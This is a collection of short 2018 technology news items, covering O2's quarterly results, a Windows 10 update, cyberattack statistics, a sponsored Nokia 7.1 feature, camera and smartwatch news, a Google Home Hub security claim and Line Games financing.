As the cloud becomes an everyday part of how we live and work, it will become increasingly difficult to not have it as an essential part of your business process. Businesses that fail to take this leap risk missing out on the many opportunities that cloud presents. And ultimately, they risk losing their customers, many of who now expect cloud-transformed experiences as the norm, to competitors that provide these experiences.
Stefano Cecconi, CEO of Aruba S.p.A
- We've also highlighted the best cloud computing services
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O2 is already feeling the benefits of its custom price plans as an increase in handset revenue and 120,000 new contract customers contributed to a 7.9 per cent increase in revenues to £1.5 billion during Q3.
The new tariffs were introduced at the end of August and allow customers to spread the cost of their device over the course of between three and 36 months at 0 per cent interest and are able to increase or decrease their data, text and call allowance on a month-by-month basis.
There are now 32.3 million users on the O2 network, a figure which also includes Tesco Mobile, Sky Mobile and Lycamobile customers, with O2 also citing a strong quarter” for its B2B units and an increase in service revenue.
O2 finances
The company recently announced plans to bring 4G coverage to more rural communities in the UK, while it has also been trialling 5G at a testbed at The O2 in London. It’s most recent achievement was its first data test call on 5G using edge computing technology.
“O2 Custom Plans offer customers real choice, by giving them control, flexibility and transparency, and once again has driven the O2 point of difference in the market,” declared O2 CEO Mark Evans.
“Q3 saw us deliver strong commercial performance with continued growth in revenues and profitability as more customers chose to join us, stay with us and spend more with us. Our ongoing commitment to invest in our network includes enhancing 4G connectivity and preparing the ground for 5G. As champions of Mobile we continue to build for the future, where Mobile is one of the most powerful opportunities to strengthen the UK economy and enrich our society.”
O2 was a bright spot for the wider Telefonica Group, which saw profit rise during the same accounting period. Telefonica abandoned plans to sell O2 following the failed £10.5 billion merger with Three having been impressed by the performance of the businesses during the process.
An IPO was mooted shortly after in 2016, but this was delayed because of an apparent failure to attract investors. Telefonica still plans to take O2 public but will wait until after Brexit due to market uncertainty.
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Microsoft has just released a cumulative update for Windows 10 Insiders in the Slow and Release Preview rings which addresses several problems, including the ZIP bug in Windows 10 October 2018 Update that was causing people to lose data.
The update is Build 17763.107 (KB4464455), and is available for Windows Insiders who have signed up for early versions of Windows 10.
While the ZIP file bug, which allowed people to accidentally overwrite existing files when moving .ZIP files into folders with files of the same name without warning, is the headline fix in this update, another problem has also been addressed.
Roaming profiles
According to Microsoft’s release notes for the cumulative update, “We fixed an issue causing roaming profiles to not work correctly.” For anyone who has encountered issues with their profile when logging into Windows 10, this fix should hopefully sort that out.
Other fixes include fixing wrong details being shown in Task Manager, compatibility issues with anti-virus software and driver compatibility problems.
If you’re a Windows Insider you can install the update by going to Settings > Windows Update and checking for updates.
Hopefully these fixes will be brought to regular users soon.
Via Wccftech
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In our increasingly digital world, cyberattacks are a daily risk for businesses and consumers alike.
While installing an antivirus is an essential first step for staying safe online in 2018, being informed regarding the latest cyberattacks will ensure that you’re prepared for when not if the next attack comes.
We’ve compiled a collection of recent security headlines and statistics to keep you up to date with the latest developments. The list will be regularly updated, so be sure to check back often.
Got an addition for us? Contact mike.moore@futurenet.com
- We've also highlighted the best antivirus of 2018
"Cyberattacks against businesses rise 55 per cent during last three months"
While the first half of 2018 was relatively uneventful in terms of cyberattacks, Malwarebytes identified a 55 per cent increase during the last three months as cybercriminals increased the number as well as the severity of their attacks. This includes a major rise in the number of ransomware attacks carried out as well as an 84 per cent increase in banking trojans compared to the previous quarter...
"One in six businesses unprepared for data breaches"
A significant portion of organisations are ill-prepared for the event of a cyberattack and four in ten have gone through such an event in the last 12 months according to a report by BSI’s Cybersecurity and Information Resilience division...
"4.5bn files compromised in first half of 2018"
New data from Gemalto found that 4.5 billion records were compromised during the first half of 2018 as businesses were busy preparing for GDPR to go into effect. The US was hit the hardest with 3.25bn of breached data entries while the UK was the highest country in Europe with 22 data incidents during the first half of 2018...
"Two thirds of German manufacturers have fallen victim to a cyberattack"
A survey published by Bitkom found that two thirds of the country’s manufacturers have fallen victim to a cyberattack costing Europe’s largest economy around $50bn. A third of the companies reported having their employees phones stolen while a quarter said they had lost sensitive data...
"Quarter of cyberattacks hit ordinary users"
Research from Positive Technologies revealed that cyberattacks increased by 47 per cent during Q2 2018. Data theft has grown in popularity as hackers move away from mass campaigns with personal data (30 per cent) and credentials (22 per cent) being the most attractive targets...
CipherTrace: Almost $1 billion in cryptocurrency was stolen in 2018
Cryptocurrency thefts have risen to almost $1 billion over the course of 2018 according to a study by cybersecurity firm CipherTrace. The majority of thefts come from cryptocurrencies and trading platforms being hacked, with smaller, more frequent attacks becoming increasingly common...
"Worldwide AI investment to top $200bn by 2025"
A new report from KPMG estimates that investment in AI, along with machine learning and robotic process automation (RPA) technology, is set to reach $232bn by 2025. This is a significant increase from the $12.4bn spen today as more and more organisations adopt AI in their business...
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Forget “poolside poses” and “hotdog legs”. According to a recent survey commissioned by Nokia, over half of 1500 millennials believe creative selfies and landscapes attract the most engagement from followers.
Perhaps that's why over a third of those millennials are found to be jealous of other people’s holiday snaps. After all, a landscape says a lot more about a holiday than a hotel swimming pool.
Getting those snaps right can be a challenge, though, particularly if you don’t have the right hardware in hand, and that’s why the new Nokia 7.1 is the ideal holiday smartphone.
Its sharp, fast ZEISS optics, high-quality dual rear cameras and Auto HDR processing let you shoot carefree with high quality images.
The Nokia 7.1 feasts on sunsets, handling low-light conditions with ease, while its quick autofocus helps capture spur of the moment action shots.
If you’re struggling to take a picture of a friend or loved one—don’t worry, 55 percent of millennials admit they get help from tools and apps to improve their photos—extra features like Live Bokeh mode use the rear depth camera to blur out backgrounds.
Live Bokeh is similar to using a big DSLR camera with an expensive lens, except in a pocket-friendly (and wallet-friendly: the Nokia 7.1 costs just £299) format. It’s like shooting in a studio, wherever you are. Live Bokeh works with the front camera too, bringing your selfies into even sharper focus.
Advanced camera skills
The Nokia 7.1 is also a master of sharing, which is ideal for the 56 percent of millennials that post their holiday snaps right there and then, rather than waiting to get back home. You can live stream to Facebook (which is still commands over 40 percent of photo shares) and YouTube directly from the camera app.
With Google Photos as your built-in gallery, you get unlimited free storage for all your memories. Plus, the app can help you effortlessly search and share memories instantly.
Google Photos recognises a meaningful moment like a summer BBQ or a wedding, selects your best shots and even suggests who you may want to share them with. So go ahead, search for a photo you took years ago with just a single word.
The Nokia 7.1 is a great phone for holidays—but it’s not just about the camera.
To keep your battery going, Android One phones such as the Nokia 7.1 prioritise background activity for your most important apps and even reduce power usage while in your pocket.
With just 30 minutes of charge, it replenishes 50 percent of the battery. Even if you use the Nokia 7.1 to keep you entertained on a long flight, give it a quick boost once you land and it’s ready to carry on all night.
As an Android One phone, the Nokia 7.1 comes with Google’s latest mobile software built in. This combination of high-quality hardware and software generates an experience that’s smart, secure, and easy to use.
The Google Assistant enables you to get things done quicker and easier while on the go. Google Photos allows an unlimited number of images to be stored in the cloud at high quality. You can also make use of Google Maps for directions and local information and use Google Pay for your purchases.
The price for all this reliability and creativity? In case you missed it: the Nokia 7.1 costs just £299 SIM-free, and you can head to Nokia.com to find out more.
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The Canon PowerShot G7 X Mark II is one of our favorite pocket compacts, but it looks like we could see a replacement in early 2019 if the rumors are to be believed.
According to CanonRumors.com, it's possible we'll see a PowerShot G7 X Mark III as early as CES 2019, with the camera aimed at both those seeking a premium compact camera as well as those who want to vlog on a budget.
This means that the new camera will get 4K video capture (the Mark II only has 1080p), along with Canon's Dual Pixel AF system.
Some of the other rumored specs include a new 24.1MP 1.0-inch CMOS sensor and the ability to shoot at 10fps. There could be a slightly longer zoom range than the Mark II's as well (currently 24-100mm f/1.8-2.8), though a detailed spec list hasn't been leaked just yet.
As well as rumors of a new PowerShot G7 X Mark III, we could also see a replacement to the PowerShot G9 X Mark II at the same time. We'll keep you posted as soon as we get more news.
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There's no doubt that we are living in the age of the smart home, and despite misgivings around security issues, the public has largely accepted connected devices with open arms (and wallets).
Unfortunately, it seems some of those misgivings aren't completely baseless, as developer Jerry Gamblin found he was able to hack into his new Google Home Hub with relative ease.
He claims he was able to do this due to an undocumented API, which allowed him to reboot the Home Hub, erase the wireless network setup, and disable notifications, which is fairly alarming for Home Hub owners.
Gamblin also released a video, which appears to show him rebooting the Home Hub remotely:
Hackers gonna hack
Google has denied Gamblin's claims, telling Android Authority that "all Google Home devices are designed with user security and privacy top of mind and use a hardware-protected boot mechanism to ensure that only Google-authenticated code is used on the device. In addition, any communication carrying user information is authenticated and encrypted."
How concerned we should be about the security of our Home Hubs and other smart devices is unclear. Are we really surprised that a hacker was able to hack into a smart device?
Of course, it's worrying when you bring things like personal data including voice searches, photos, and bank details into the mix, but we wouldn't suggest throwing your Home Hub out the window just yet.
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The original Huawei Watch and Huawei Watch 2 are two of the best Wear OS watches (originally Android Wear) products released on Google's operating system, and each is about to get a touch better.
A new version of Wear OS (version 2.17) is coming to both the original device and the latter watch from the company. If you own one, you should be able to download the Wear OS update now.
It brings with it a variety of new UI changes for both watches as well as overall improved speed. That's according to the first few who received it and noted so to Android Police as Huawei hasn't included a change log with the new update.
Years of support
The improved interface means you're now able to swipe right on the watch face to access Google Fit and left to find the Google Assistant. There may be other improvements that haven't been discovered by users yet.
Considering the original Huawei Watch came out in 2015, it's both surprising and reassuring to know the company is continuing to support software updates now the devices have switched from Android Wear to the newer Wear OS platform.
Huawei just announced another new smartwatch called the Watch GT, but this doesn't run Wear OS and instead includes the company's own software.
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Messaging app firm Line has given up majority control of its Line Games business after it raised outside financing to expand its collection of titles and go after global opportunities.
The Line Games business was formed earlier this year when Line merged its existing gaming division from NextFloor, the Korea-based game publisher that it acquired in 2017. Now the business has taken on capital from Anchor Equity Partners, which has provided 125 billion KRW ($110 million) in financing via its Lungo Entertainment entity, according to a disclosure from Line.
A Line spokesperson clarified that the deal will see Anchor acquire 144,743 newly-created shares to take a 27.55 percent stake in Line Games. That increase means Line Corp’s own shareholding is diluted from 57.6 percent to a minority 41.73 percent stake.
Korea-based Anchor is best known for a number of deals in its homeland including investments in e-commerce giant Ticket Monster, Korean chat giant Kakao’s Podotree content business and fashion retail group E-Land.
Line operates its eponymous chat app which is the most popular messaging platform in Japan, Thailand and Taiwan, and also significantly used in Indonesia, but gaming is a major source of income. This year to date, Line has made 28.5 billion JPY ($250 million) from its content division, which is primarily virtual goods and in-app purchases from its social games. That division accounts for 19 percent of Line’s total revenue, and it is a figure that is only better by its advertising unit, which has grossed 79.3 billion JPY, or $700 million, in 2018 to date.
The games business is currently focused on Japan, Korea, Thailand and Taiwan, but it said that the new capital will go towards finding new IP for future titles and identifying games with global potential. It is also open to more strategic deals to broaden its focus.
While Line has always been big on games, Line Games isn’t just building for its own service. The company said earlier this year that it plans to focus on non-mobile platforms, which will include the Nintendo Switch among others consoles.
That comes from the addition of NextFloor, which is best known for titles like Dragon Flight and Destiny Child. Dragon Flight has racked up 14 million users since its 2012 launch, at its peak it saw $1 million in daily revenue. Destiny Child, a newer release in 2016, topped the charts in Korea and has been popular in Japan, North America and beyond.
Line went public in 2016 via a dual U.S.-Japan IPO that raised over $1 billion.
Note: the original version of this article was updated to clarify that Lungo Entertainment is buying newly-issued shares.
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